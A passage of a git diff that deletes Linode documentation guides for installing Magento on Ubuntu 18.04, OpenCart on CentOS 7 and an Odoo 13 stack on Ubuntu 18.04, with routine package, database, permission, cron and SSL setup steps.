page, confirming that each page you (and your future customers) visit is secure. - -## Next Steps - -If you've followed this guide from the beginning, you should now have a secure, functional installation of Magento. You're now ready to configure your store and start selling products. - -You may wish to install extensions to add functionality, or themes to change your site's user experience. If you do, be sure that the extensions and themes you purchase or install are compatible with Magento 2. - -You may also want to configure caching with Varnish or other software to increase the speed of your site. For more information on this and other configuration options, see [Magento's configuration guide](http://devdocs.magento.com/guides/v2.1/config-guide/bk-config-guide.html). - -Finally, be sure to keep your Magento software and its components up to date. Not only is this important to the security of your site, but it will also allow you to use the latest features and functions Magento has to offer. For more information, refer to the [Magento upgrade documentation](http://devdocs.magento.com/guides/v2.1/comp-mgr/bk-compman-upgrade-guide.html). diff --git a/docs/guides/websites/ecommerce/install-magento-on-ubuntu-18-04/index.md b/docs/guides/websites/ecommerce/install-magento-on-ubuntu-18-04/index.md deleted file mode 100644 index 0d265d4247f..00000000000 --- a/docs/guides/websites/ecommerce/install-magento-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,430 +0,0 @@ ---- -slug: install-magento-on-ubuntu-18-04 -title: Install Magento on Ubuntu 18.04 -description: "Install Magento Community Edition on Ubuntu 18.04 to manage your e-commerce site." -authors: ["Linode"] -contributors: ["Linode"] -published: 2016-12-28 -modified: 2018-08-29 -keywords: ["magento", "ubuntu", "e-commerce", "magento ubuntu"] -tags: ["ubuntu", "ssl", "lamp", "cms","ecommerce"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Magento Documentation](http://docs.magento.com/m2/ce/user_guide/getting-started.html)' - - '[Magento Resources Library](https://magento.com/resources)' -relations: - platform: - key: how-to-install-magento - keywords: - - distribution: Ubuntu 18.04 -aliases: ['/websites/ecommerce/install-magento-on-ubuntu-18-04/'] ---- - -In this guide you'll learn how to install Magento on Ubuntu 18.04\. Magento Community Edition (CE) is a free, open-source e-commerce platform. It's one of the most popular solutions for self-hosted online stores due to its simple yet powerful admin panel and large developer community. - -Considering the resources some Magento plugins demand, we strongly recommend that you have at least a **Linode 4GB**. You'll need to allocate up to 2GB of memory for PHP and Magento; running Magento on a smaller Linode may result in server crashes or unreliability under medium to heavy traffic. For more memory-intensive Magento setups, we recommend using a [High Memory Linode](https://www.linode.com/pricing/). - -{{< note >}} This guide explains how to install the latest Magento release at the time of publication. For the Community Edition, this will be version 2.2.x. If you plan to use data, themes, and extensions from an older Magento site, be sure to check for compatibility issues between the two versions. {{< /note >}} - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -2. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to create a standard user account, harden SSH access, and remove unnecessary network services. - -3. Magento runs on a LAMP stack, and is **only compatible with PHP 7.0 or 7.1**. This guide contains instructions for setting up Apache, MySQL, and PHP in a manner compatible with the latest version of Magento (v. 2.2.5). Check your version of PHP with `php -v`. If your version is incompatible, refer to the included instructions for installing and setting PHP 7.0 as the default version. - - {{< note respectIndent=false >}} If you have an existing LAMP stack installed on your Linode, refer to Magento's [prerequisites](https://devdocs.magento.com/guides/v2.2/install-gde/prereq/prereq-overview.html) to ensure a particular version's compatibility with the components of your stack. {{< /note >}} - -4. Update your system: - - ``` - sudo apt update && sudo apt upgrade - ``` - - {{< note respectIndent=false >}} This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you're not familiar with the `sudo` command, you can check our [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. {{< /note >}} - -## Install A Magento-compatible LAMP Stack - -1. Install Apache 2.4. - - ``` - apt install apache2 - systemctl enable apache2 - ``` - -2. Install MariaDB 10.2 - - {{< note respectIndent=false >}} Magento is also compatible with MySQL 5.7.x, MySQL NDB Cluster 7.4.x, MariaDB 10.0, 10.1, 10.2, Percona 5.7 and other binary compatible MySQL technologies. You may choose to use any one of the listed versions. {{< /note >}} - - ``` - sudo apt-get install software-properties-common - sudo apt-key adv --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0xF1656F24C74CD1D8 - sudo add-apt-repository 'deb [arch=amd64] http://mariadb.biz.net.id/repo/10.2/ubuntu bionic main' - ``` - - Update packages and install MariaDB. - - ``` - apt update - apt install mariadb-server - ``` - - Setup MariaDB using the mysql_secure_installation built-in shell script. Supply each prompt with `y` and hit `Enter`. Set a secure password for the *root* user when prompted. - - ``` - mysql_secure_installation - ``` - - Set MariaDB to start on system boot and initialize the daemon. - - ``` - systemctl enable mysql - systemctl start mysql - ``` - -3. Install the PHP 7.0 repository and update packages. - - ``` - sudo add-apt-repository ppa:ondrej/php - sudo apt update -y - ``` - - Install all required PHP extensions. - - ``` - sudo apt install -y php7.0 libapache2-mod-php7.0 php7.0-common php7.0-gd php7.0-mysql php7.0-mcrypt php7.0-curl php7.0-intl php7.0-xsl php7.0-mbstring php7.0-zip php7.0-bcmath php7.0-iconv php7.0-soap - ``` - -4. **Optional** - Proceed with this step only if you already have an incompatible PHP version installed and need to switch. - - Replace `php7.x` with your incompatible PHP version in the first command. - - ``` - sudo a2dismod php7.x && sudo a2enmod php7.0 - sudo systemctl restart apache2 - sudo update-alternatives --set php /usr/bin/php7.0 - ``` - - Confirm your version of PHP with `php -v` and verify that the output matches the following: - - ``` - PHP 7.0.31-1+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Jul 25 2018 10:01:10) ( NTS ) - Copyright (c) 1997-2017 The PHP Group - Zend Engine v3.0.0, Copyright (c) 1998-2017 Zend Technologies - with Zend OPcache v7.0.31-1+ubuntu18.04.1+deb.sury.org+1, Copyright (c) 1999-2017, by Zend Technologies - ``` - -## Configure Apache - -Since Magento will be served by Apache, some additional configuration is needed to ensure the application is served properly. In this section, we'll configure Apache for Magento to ensure that styles and other settings display properly in your storefront. - -1. Confirm you're using Apache version 2.4: - - ``` - apache2 -v - ``` - - If this shows version 2.2 or another version, upgrade Apache before proceeding. - -2. Enable the Apache rewrite module: - - ``` - sudo a2enmod rewrite - ``` - -3. Modify the virtual host file for your Magento site to resemble the example below. If you have not previously created a virtual host file, do so now and refer to the [Configure Virtual Hosts](/cloud/guides/install-lamp-stack-on-ubuntu-16-04/#configure-virtual-hosts) section of the LAMP on Ubuntu 16.04 guide for additional guidance. - - {{< file "/etc/apache2/sites-available/example.com.conf" apache >}} - - - Require all granted - - - - ServerName example.com - ServerAlias www.example.com - ServerAdmin webmaster@localhost - DocumentRoot /var/www/html/example.com/public_html - - ErrorLog /var/www/html/example.com/logs/error.log - CustomLog /var/www/html/example.com/logs/access.log combined - - - Options Indexes FollowSymLinks MultiViews - AllowOverride All - - - -{{< /file >}} - - The `Directory` block inside the `Virtual Host` block should point to the directory where you plan to install Magento. For simplicity, we will be installing it in our web root, but if you want to put it elsewhere (e.g., a subdirectory of your web root), modify this setting. - - It's important to note the value of `AllowOverride` as this affects which settings in each directory's `.htaccess` file will be applied and which will be ignored. If you're not sure if the `All` option is optimal for your site, refer to the [Apache documentation](http://httpd.apache.org/docs/current/mod/core.html#allowoverride) for more information on this setting. - -4. If you haven't already, enable your site: - - ``` - sudo a2ensite example.com - ``` - - Replace `example.com` with the name of your site's virtual host. - -5. Restart Apache to apply these changes: - - ``` - sudo systemctl restart apache2 - ``` - -6. **Optional**: You may want to take this opportunity to create a `phpinfo.php` page to ensure that PHP is active and working properly with Apache: - - {{< file "/var/www/html/example.com/public_html/phpinfo.php" php >}}{{< /file >}} - - Once you've visited this page in your browser and confirmed that PHP is working, delete the test page. - -## Create a MySQL Database and User - -If you previously installed a LAMP stack using this or our other guides you should already have set up MySQL root login credentials. If not, you'll need to go back and do so before proceeding. - -1. Log into the MySQL shell as the root user, entering your password when prompted: - - ``` - mysql -u root -p - ``` - -2. Create a Magento database and user, and set the permissions. In this example, we'll call our database and user `magento`. Replace `password` with a secure password. You may optionally replace the other values as well: - - ``` - CREATE DATABASE magento; - CREATE USER 'magento' IDENTIFIED BY 'password'; - GRANT ALL PRIVILEGES ON magento.* TO 'magento'; - ``` - - This section assumes that your database is hosted on the same server as your Magento application. If this is not the case, perform these steps and then refer to Magento's guide on using a [remote database server](https://devdocs.magento.com/guides/v2.2/install-gde/prereq/mysql_remote.html). - -3. Exit the MySQL shell: - - ``` - quit - ``` - -## Install Magento - -### Download Magento Community Edition - -In this section, we'll explain how to install the Magento Community Edition (CE) software on your Linode. There are several ways to do this, but here we'll cover the simplest method. Before starting this section, you must create an account to gain access to the Magento software. Create an account [here](https://account.magento.com/customer/account/create/). - -1. On your local computer, download a copy of Magento from their [official website](https://www.magentocommerce.com/download). Several versions are available, but we recommend downloading the latest release. As of this writing, the latest version is 2.2.5. - - ![The Magento download screen](magento-download-screen.png) - - Next to your selected version, there will be a dropdown menu that says "Select your format." Select the option ending with the `.tar.gz` extension and click the **Download** button. Note that in this step, you will be presented with the option to download the software with optional sample data. Whether you choose this or the basic version is up to you. - - ![Select the option ending in ".tar.gz"](magento-tar-gz.png) - -2. From your local computer, copy the file to your Linode. Replace */path/on/local/* with the path of your downloaded file, *user* with your standard user account on your Linode, and *host-ip_or_web-url* with your Linode’s web-url or IP address: - - ``` - scp /path/on/local/Magento-CE-2.*.tar.gz user@host-ip_or_web-url:~/ - ``` - - Alternatively, you can use an FTP client, like [Filezilla](/cloud/guides/filezilla/), if you're running Windows or are otherwise unable to use a command-line tool like `scp`. - -3. Log into your Linode via SSH as your standard user account. Navigate to the document root you specified in your virtual host file: - - ``` - cd /var/www/html/example.com/public_html - ``` - - Extracting the archive directly into your webroot, as you'll do in the next step, will make it accessible as the main page on your domain. For instance, if your domain is `example.com`, the Magento storefront will display when you visit `example.com` in your browser. - - If you want to run a Magento store as a subsection of your site, move and extract the archive in a directory within your webroot. For instance, if you intend to make your site accessible by visiting `example.com/store`, create the subdirectory `/var/www/html/example.com/public_html/store` and navigate to that directory before proceeding to the next step. - -4. Move the Magento archive into your document root and extract its contents: - - ``` - sudo mv ~/Magento-CE-2.*.tar.gz . - sudo tar -xvf Magento-CE-2.*.tar.gz - ``` - -## Configure Users and Permissions - -1. Create a Magento user, which will run the software. For simplicity, call this user `magento`: - - ``` - sudo useradd magento - ``` - -2. Next, add the Magento user to the web server's user group. For Apache, the default user is `www-data`: - - ``` - sudo usermod -g www-data magento - ``` - -3. The commands in this step should be run from your Magento installation directory (where you extracted the archive). If you are not still in that directory, navigate there before proceeding. - - Run these commands in order: - - ``` - sudo find var vendor pub/static pub/media app/etc -type f -exec chmod g+w {} \; - sudo find var vendor pub/static pub/media app/etc -type d -exec chmod g+ws {} \; - sudo chown -R magento:www-data . - sudo chmod u+x bin/magento - ``` - - This allows your `magento` user (and members of the `www-data` group) to write to the various files they need to run and serve Magento on your site. - - {{< note respectIndent=false >}} The first two commands may take some time to run because they are matching various files and directories in your installation folder. It may appear that the system is inactive, but be sure to allow a couple of minutes before cancelling the operations. You can always start a new SSH connection, or run these commands in a [screen](/cloud/guides/using-gnu-screen-to-manage-persistent-terminal-sessions/) session, and use tools like [htop & iotop](/cloud/guides/top-htop-iotop/#additional-top-like-programs) to monitor progress. {{< /note >}} - -4. Restart Apache: - - ``` - sudo systemctl restart apache2 - ``` - -## Install Magento CE - -1. Switch to the `magento` user and navigate to the `bin` directory in your Magento installation folder: - - ``` - sudo su magento - cd bin - ``` - -2. Run the Magento installation script with the following options: - - - ``` - ./magento setup:install --admin-firstname="John" --admin-lastname="Doe" --admin-email="your@email.com" --admin-user="john" --admin-password="password1" --db-name="magento" --db-host="localhost" --db-user="magento" --db-password="password" - ``` - - Replace the values in the options as follows: - - - **admin-firstname** / **admin-lastname** - This will set the full name of your admin user. Replace these with your name if you'll be the administrator. - - **admin-email** - This is your email for resetting passwords and receiving admin notifications. - - **admin-user** / **admin-password** - These are your login credentials for the Magento admin control panel. Be sure to set a secure password here and store it in a safe place. Note that the Magento script requires you to use both letter and number characters in your password, and will return an error if you do not. - - **db-name** - This is the name of the database you set up in MySQL. In our example, we called it `magento`, but if you chose a different value, substitute it here. - - **db-host** - If you're running Magento on the same server as its database, use `localhost` here. If not, this value will be the hostname of the server on which your database lives. - - **db-user** - This is the MySQL database user you set up previously. In our example, we called it `magento` but if you chose a different name, use that here instead. - - **db-password** - This will be the password you configured for the `magento` MySQL user. - - {{< note respectIndent=false >}} These are just a few of the available options to configure your Magento installation. For more information, refer to the [Magento Installation Guide](http://devdocs.magento.com/guides/v2.1/install-gde/install/cli/install-cli-install.html) and feel free to use additional options when running the script. {{< /note >}} - -3. The installation script may take several minutes to run. Once it's finished, you'll see a success message: - - ``` - [SUCCESS]: Magento installation complete. [SUCCESS]: Magento Admin URI: /admin_a61e40 - ``` - - You've successfully installed Magento on your Linode. You can log into your admin panel by entering your domain, followed by the "Magento Admin URI" displayed above, in a web browser. The **admin-user** and **admin-password** options you specified when running the installation script will be your credentials. - -4. Exit from the `magento` user: - - ``` - exit - ``` - -## Configure Magento - -The dashboard is functional at this point, but you've still got work to do before the site is ready to use. In this section, we'll explain how to set up cron jobs and secure the Magento software to be suitable for a live e-commerce site. - -### Set Cron Jobs - -Magento relies on [cron](/cloud/guides/schedule-tasks-with-cron/) to perform tasks like continuously reindexing your site and generating emails and newsletters. If you logged into your admin panel, you may have noticed an error message saying that cron jobs needed to be set. Fortunately, the cron jobs Magento uses for a base installation are very easy to configure. - -1. Open the crontab for your `magento` user. Perform this step as a user with `sudo` privileges: - - ``` - sudo crontab -u magento -e - ``` - -2. If this is your first time using cron, you'll be prompted to select a text editor. If you don't have a preference, select **2** to use nano. - -3. Add the following lines to the end of the file, substituting your Magento installation directory in each: - - * * * * * /usr/bin/php /var/www/html/example.com/public_html/bin/magento cron:run | grep -v "Ran jobs by schedule" >> /var/www/html/example.com/public_html/var/log/magento.cron.log - - * * * * * /usr/bin/php /var/www/html/example.com/public_html/update/cron.php >> /var/www/html/example.com/public_html/var/log/update.cron.log - - * * * * * /usr/bin/php /var/www/html/example.com/public_html/bin/magento setup:cron:run >> /var/www/html/example.com/public_html/var/log/setup.cron.log - - The first line handles reindexing. The second and third lines are needed by the Component Manager and System Upgrade, respectively. The `/usr/bin/php` part of each line specifies your PHP binary. If you installed PHP using our LAMP stack guide, you can leave this value as we have shown it, but if you installed PHP by some other method, you can check its location with `which php` and substitute that value. - - When you're done, save and exit the file. - -To verify that the rules have been set properly, log out of your Magento admin and log back in. If everything has been configured correctly, you should no longer see the notification. - -For more information about setting up cron jobs for development servers and custom Magento modules, refer to the [Magento Cron Documentation](http://devdocs.magento.com/guides/v2.1/config-guide/cli/config-cli-subcommands-cron.html#config-cli-cron-bkg). - -### Configure X-Frame Options - -We strongly recommend disabling the ability to display your Magento storefront in a frame to prevent [clickjacking](https://en.wikipedia.org/wiki/Clickjacking) attacks. To do this, modify the following line in your `env.php` file: - -{{< file "/var/www/html/example.com/public_html/app/etc/env.php" php >}} 'x-frame-options' => 'DENY', - -{{< /file >}} - -This prevents attackers from embedding your site in a frame (for example, on a malicious site that mimics your store) in an attempt to intercept payment and other sensitive customer information. - -### Set Directory Permissions - -At a minimum, you should restrict write access to the `app/etc` directory before opening the site to customers. Run these commands from within your Magento installation directory: - -``` -sudo find app/etc -type f -exec chmod g-w {} \; -sudo find app/etc -type d -exec chmod g-ws {} \; -``` - -Depending on whether you install custom themes or extensions, you may need to do additional configuration. This will vary depending on what you have installed. Once you're ready to deploy your site into production mode, refer to [Magento's ownership and permissions guide](https://devdocs.magento.com/guides/v2.2/config-guide/prod/prod_file-sys-perms.html) for a more comprehensive set of recommendations. - -{{< note >}} If you need to make additional configuration changes in the future, you'll need to manually add write permissions again before you can do so. For more information, see our guide on [Linux users and groups](/cloud/guides/linux-users-and-groups/). {{< /note >}} - -### Secure your Site with SSL - -Secure sockets layer (SSL) certificates are a vital part of e-commerce. They enable encrypted transmission of sensitive data, such as credit card numbers, that can be verified and trusted by clients. In fact, some payment vendors such as PayPal, require SSL certificates to be used for customer transactions. - -For instructions on how to use SSL certificates in your store, see our guides on [obtaining a commercially signed SSL certificate](/cloud/guides/obtain-a-commercially-signed-tls-certificate/) and [using SSL certificates with Apache](/cloud/guides/ssl-apache2-debian-ubuntu/). - -{{< note >}} Many payment vendors that require SSL do not support self-signed certificates. Depending on how you handle payments, it is likely you will need to purchase a commercially signed certificate. - -When you [configure Apache to use the SSL certificate](/cloud/guides/ssl-apache2-centos/#configure-apache-to-use-the-ssl-certificate), if you installed Magento in a subdirectory of your site, and only want that section to be encrypted, make sure to modify your `` block to match. {{< /note >}} - -Once you've installed your SSL certificate and configured Apache to serve your site securely, you'll need to configure Magento to use secure URLs. - -1. Log into your Magento admin panel using the URL you obtained after running the installation script. - -2. Click on **Stores** in the sidebar on the left of your screen, and select **Configuration** under the Settings submenu. - - ![Go to "Configuration" in the "Stores" menu.](magento-stores-config.png) - -3. On the next screen, you'll see a list of configuration settings including "General," "Catalog," and "Customers". Click on **General**, and select **Web** from its submenu. - - ![Select "Web" from the "General" menu.](magento-general-web.png) - -4. Select **Base URLs (Secure)**, which will open to display several text fields. Modify the first field, **Secure Base URL**, to use the HTTPS protocol, as opposed to HTTP: - - ``` - https://example.com - ``` - - ![Enter your domain with the HTTPS protocol.](magento-secure-base-url.png) - - This assumes that you used `/var/www/html/example.com/public_html` as your Magento installation directory, as we did in our examples. If you installed Magento in a subdirectory of your web root, you will need to modify that here. For example, if you installed Magento in a folder called `/var/www/html/example.com/public_html/magento`, you'll need to enter: - - ``` - https://example.com/magento - ``` - -5. Save your configuration. - -6. To verify that SSL has been configured correctly, visit your domain with the HTTPS protocol in a web browser and navigate to a few links. You should see a green lock icon in your browser's URL bar on each page, confirming that each page you (and your future customers) visit is secure. - -## Next Steps - -If you've followed this guide from the beginning, you should now have a secure, functional installation of Magento. You're now ready to configure your store and start selling products. - -You may wish to install extensions to add functionality, or themes to change your site's user experience. If you do, be sure that the extensions and themes you purchase or install are compatible with Magento 2. - -You may also want to configure caching with Varnish or other software to increase the speed of your site. For more information on this and other configuration options, see [Magento's configuration guide](https://devdocs.magento.com/guides/v2.2/config-guide/bk-config-guide.html). - -Finally, be sure to keep your Magento software and its components up to date. Not only is this important to the security of your site, but it will also allow you to use the latest features and functions Magento has to offer. For more information, refer to the [Magento upgrade documentation](http://devdocs.magento.com/guides/v2.1/comp-mgr/bk-compman-upgrade-guide.html). diff --git a/docs/guides/websites/ecommerce/install-opencart-on-centos-7/index.md b/docs/guides/websites/ecommerce/install-opencart-on-centos-7/index.md deleted file mode 100644 index a4b9da29b63..00000000000 --- a/docs/guides/websites/ecommerce/install-opencart-on-centos-7/index.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -slug: install-opencart-on-centos-7 -title: How to Install OpenCart on CentOS 7 -description: 'This tutorial will guide you through basic installation and set-up of popular ecommerce platform OpenCart on CentOS 7.' -authors: ["Jonathan Chun"] -contributors: ["Jonathan Chun"] -published: 2017-04-29 -modified: 2017-08-21 -keywords: ["opencart", "ecommerce", "commerce", "store", "centos"] -tags: ["centos"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/websites/ecommerce/install-opencart-on-centos-7/','/web-applications/e-commerce/opencart/centos-7/','/websites/ecommerce/opencart-on-centos-7/'] -external_resources: - - '[OpenCart Website](https://www.opencart.com)' - - '[OpenCart Documentation](http://docs.opencart.com/)' - - '[OpenCart Community Forums](http://forum.opencart.com/)' -relations: - platform: - key: how-to-install-opencart - keywords: - - distribution: CentOS 7 ---- - -![Header image](How_to_Install_OpenCart_on_CentOS_smg.jpg "How to Install OpenCart on CentOS 7") - -## What is OpenCart? - -[OpenCart](https://www.opencart.com/) is free open source ecommerce platform for online merchants. OpenCart provides a professional and reliable foundation from which to build a successful online store. This foundation appeals to a wide variety of users; ranging from seasoned web developers looking for a user-friendly interface to use, to shop owners just launching their business online for the first time. OpenCart has an extensive amount of features that gives you a strong hold over the customization of your store. With OpenCart's tools, you can help your online shop live up to its fullest potential. - -## Before You Begin - -1. You should set up [LAMP on CentOS 7](/cloud/guides/how-to-install-a-lamp-stack-on-centos-7/). - -2. Install the Extra Packages for Enterprise Linux (EPEL) repository. - sudo yum install epel-release - -3. Make sure your server packages are up to date. - sudo yum update - -4. Install the unzip utility. - sudo yum install unzip - - -## PHP Setup - -Make sure that you have the following PHP extensions/modules installed (They should be installed by default on almost all PHP installations): -- Curl -- Zip -- Zlib -- GD Library -- Mcrypt -- Mbstrings -- Xml - -You can install them by running the following commands: - - sudo yum install php-mcrypt curl zlib php-gd php-mbstring php-xml php-mysql - -## Create a Database and User - -You will need to make sure you have a MySQL database and a database user set up for OpenCart. To create a database and a database user, please complete the following instructions: - -1. Login to MySQL/MariaDB: - - mysql -u root -p - - Enter your MySQL/MariaDB root password when prompted. You should now see a MySQL prompt similar to - - MariaDB [(none)]> - -2. Create a new database and user with permissions to use it for OpenCart: - - create database opencart; - grant all on opencart.* to 'ocuser' identified by 'yourpassword'; - flush privileges; - - In the above example, `opencart` is the name of the database, `ocuser` the user, and `yourpassword` a strong password. - -3. Exit MySQL/MariaDB. - - quit - -## Install OpenCart - -### Download OpenCart and configure permissions - -Issue the following commands to download and unpack OpenCart into your web root directory: - - cd /var/www/html/example.com/public_html/ - curl -OL https://github.com/opencart/opencart/releases/download/2.3.0.2/2.3.0.2-compiled.zip - unzip 2.3.0.2-compiled.zip 'upload/*' - cp upload/config-dist.php upload/config.php - cp upload/admin/config-dist.php upload/admin/config.php - sudo chown -R apache:apache upload - shopt -s dotglob - mv upload/* . - rm -rf upload - -In the above example, replace `/var/www/html/example.com/public_html/` with your virtual host's web root and `2.3.0.2-compiled.zip` with the file name of the latest OpenCart release. - -{{< note >}} -You can find the latest version of OpenCart from their [Download Page](https://www.opencart.com/?route=cms/download). -{{< /note >}} - -Next, run the following commands to make sure these directories are writable. - - chmod 0755 system/storage/cache/ - chmod 0755 system/storage/logs/ - chmod 0755 system/storage/download/ - chmod 0755 system/storage/upload/ - chmod 0755 system/storage/modification/ - chmod 0755 image/ - chmod 0755 image/cache/ - chmod 0755 image/catalog/ - chmod 0755 config.php - chmod 0755 admin/config.php - -### Run the OpenCart Installer - -Visit your website in your browser. You should be redirected to the OpenCart Installer in a page that looks like this: - -![OpenCart Installer Page 1.](opencart-1.png) - -Press **CONTINUE** and you will see the _Pre-Installation_ page. - -![OpenCart Installer Page 2.](opencart-2.png) - -Make sure that you see the green checkmark for every section before proceeding. If you see any red marks, please go back and make sure all of the instructions in this guide were followed properly. Once you've confirmed that every section has a green checkmark, press the **CONTINUE** button to see the OpenCart configuration page: - -![OpenCart Installer Page 3.](opencart-3.png) - -Here, select the **MySQLi** driver and fill out the form with the relevant information from the [Create a Database and User](#create-a-database-and-user) section of this guide. You also need to select a username and password for the default administrator account for this OpenCart installation. - -Finally, press the **CONTINUE** button and you should now see the _**Installation complete**_ screen. You will also see a warning box telling you to remove your installation directory. We can do this by going back to your web root directory and running: - - rm -rf install - -Once you've done that, the installation is complete. Browse to - - http://example.com/admin - -In the above example, `example.com` is your domain name. - -You can now login using the administrator account details you entered previously. - -## Recommended Next Steps - -Now that you have your OpenCart installation up and running, there are a few more steps that we recommend. Because of the security-sensitive nature of ecommerce websites, you will want to make sure your system is secure. - -1. Make sure you follow our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. - -2. Secure your website with SSL/TLS. Learn to [Install a SSL certificate with Apache on CentOS 7](/cloud/guides/ssl-apache2-centos/). Once you've installed a certificate, enable **Use SSL** by following the [Opencart Documentation on SSL](http://docs.opencart.com/administration/ssl/). - -3. Follow the [Basic Security Practices](http://docs.opencart.com/administration/security/) from the OpenCart documentation. - -4. Install [vQmod](https://github.com/vqmod/vqmod) if you wish to use 3rd party extensions. diff --git a/docs/guides/websites/erp/install-an-odoo-13-stack-on-ubuntu-18-04/index.md b/docs/guides/websites/erp/install-an-odoo-13-stack-on-ubuntu-18-04/index.md deleted file mode 100644 index 14ac9b8b5ed..00000000000 --- a/docs/guides/websites/erp/install-an-odoo-13-stack-on-ubuntu-18-04/index.md +++ /dev/null @@ -1,392 +0,0 @@ ---- -slug: install-an-odoo-13-stack-on-ubuntu-18-04 -title: Installing an Odoo 13 Stack on Ubuntu 18.04 -title_meta: 'How to Install an Odoo 13 Stack on Ubuntu 18.04' -description: 'Odoo is an open-source suite of over 10,000 business apps with a web interface for managing them. This guide shows how to install Odoo 13 on Ubuntu 18.04.' -authors: ["Damaso Sanoja"] -contributors: ["Damaso Sanoja"] -published: 2020-09-17 -keywords: ["Odoo 13 install ubuntu 18.04", "install open source cms erp ubuntu"] -tags: ["debian", "postgresql", "database", "cms", "digital agencies"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: InstallOdoo13Stack_Ubuntu1804.png -aliases: ['/websites/erp/install-an-odoo-13-stack-on-ubuntu-18-04/','/websites/cms/install-an-odoo-13-stack-on-ubuntu-18-04/'] -external_resources: - - '[Odoo User Documentation](https://www.odoo.com/documentation/user/13.0/)' - - '[Odoo Developer Documentation](https://www.odoo.com/documentation/13.0)' - - '[PostgreSQL 10 Documentation](https://www.postgresql.org/docs/10/static/index.html)' - - '[Install an Odoo 11 Stack on Ubuntu 16.04 using Linode](/cloud/guides/install-an-odoo-11-stack-on-ubuntu-16-04/)' - - '[Install an SSL certificate with LetsEncrypt](/cloud/guides/install-lets-encrypt-to-create-ssl-certificates/)' - - '[How to Set up tinc, a Peer-to-Peer VPN](/cloud/guides/how-to-set-up-tinc-peer-to-peer-vpn/)' - - '[Using Terraform to Provision Linode Environments](/cloud/guides/how-to-build-your-infrastructure-using-terraform-and-linode/)' -relations: - platform: - key: install-an-odoo-13-stack - keywords: - - distribution: Ubuntu 18.04 ---- - -## What is Odoo? - -[Odoo](https://www.odoo.com/) (formerly known as OpenERP) is a self-hosted suite of over 10,000 open source applications for a variety of business needs, including CRM, eCommerce, accounting, inventory, point of sale, and project management. These applications are all fully integrated and can be installed and accessed through a web interface, making it easy to automate and manage your company's processes. - -For simple installations, Odoo and its dependencies can be installed on a single Linode (see our [Install Odoo 10 on Ubuntu 16.04](/cloud/guides/install-odoo-10-on-ubuntu-16-04/) guide for an example of this). However, this single-server setup is not suited for production deployments. This guide covers how to configure a production Odoo 13 cluster where the Odoo server and PostgreSQL database are hosted on separate Linodes. This configuration gives you more flexibility and scalability while allowing you to use PostgreSQL database replication for added performance and reliability. - -## System Requirements - -The setup in this guide requires the following *minimal* Linode specifications: - -* A Shared **2GB** Linode to install the PostgreSQL 10 database -* A Shared **1GB** Linode (Nanode) to install the Odoo 13 web application - -Keep in mind that your implementation may need more nodes or higher-memory plans depending on the number of end-users you want to serve and the number of modules you plan to incorporate. - -All examples in this guide are for Ubuntu 18.04. If you plan to use a different operating system, adapt the commands as necessary. - -## Before You Begin - -1. Familiarize yourself with our [Getting Started](https://techdocs.akamai.com/cloud-computing/docs/getting-started) guide and complete the steps for setting your Linode's hostname and timezone. - -1. This guide uses `sudo` wherever possible. Complete the sections of our [Securing Your Server](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) to create a standard user account, harden SSH access, and remove unnecessary network services. - -1. Update your systems: - - sudo apt-get update && sudo apt-get upgrade - -## Configure Firewall Rules for Odoo - -If you want to configure a firewall for your Linodes, open the following ports: - -| Node | Open TCP Ports | -| ------------ |:--------:| -| Odoo 13 application | `22, 6010, 5432, 8069` | -| PostgreSQL database | `22, 6010, 5432` | - -Ports `22`, `80`, and `5432` are the defaults for SSH, HTTP, and PostgreSQL communications, respectively. Port `6010` is used for Odoo communications and port `8069` is used by Odoo's webserver. To open a particular port, use a command similar to the following: - - sudo ufw allow 22/tcp - -For more detailed information about firewall setup please read our guide [How to Configure a Firewall with UFW](/cloud/guides/configure-firewall-with-ufw/). - -## Hostname Assignment - -In order to simplify communication between Linodes, set hostnames for each server. You can use private IPs if the Linodes are all in the same data center, or Fully Qualified Domain Names (FQDNs) if available. This guide uses the following FQDN and hostname conventions: - -| Node | Hostname | FQDN | -| ------------ |:--------:| :-----------:| -| Odoo 13 | odoo | odoo.yourdomain.com | -| PostgreSQL | postgresql | postgresql.yourdomain.com | - -- PostgreSQL server: - - {{< file "/etc/hosts" conf >}} -127.0.0.1 localhost -127.0.1.1 postgresql.yourdomain.com postgresql - -10.1.3.10 odoo.yourdomain.com odoo - -{{< /file >}} - -- Odoo 13 server: - - {{< file "/etc/hosts" conf >}} -127.0.0.1 localhost -127.0.1.1 odoo.yourdomain.com odoo - -10.1.1.10 postgresql.yourdomain.com postgresql -{{< /file >}} - -FQDNs are used throughout this guide whenever possible to avoid confusion. - -## Set up PostgreSQL Database - -Configure Odoo's `postgresql` database backend Linode. The Ubuntu 18.04 official repository includes PostgreSQL version 10 which offers significant performance improvements as well as database replication compatibility. - -Install the PostgreSQL database and developer libraries with the following command: - - sudo apt install postgresql-10 postgresql-server-dev-10 -y - -### Create PostgreSQL User - -Odoo requires a separate PostgreSQL user for communications between the web application Linode and the database Linode. Create the database user `odoo`. This user is in charge of all operations. Use a strong password and save it in a secure location to use later: - - sudo -u postgres createuser odoo -U postgres -dP - -The options used are described below: - -* `-u`: Executes the command as the `postgres` user. -* `-U`: Indicates the user name to connect as. -* `-d`: Grants the user permission to create databases. -* `-P`: Prompts you for the new user's password. - -### Configure Host Based Authentication - -1. Stop the PostgreSQL service: - - sudo systemctl stop postgresql - -1. Edit the `pg_hba.conf` file to allow PostgreSQL Linode to communicate with the Odoo Linode server. Add the following line to the file: - - {{< file "/etc/postgresql/10/main/pg_hba.conf" conf >}} -host all odoo odoo.yourdomain.com md5 -{{< /file >}} - -This line 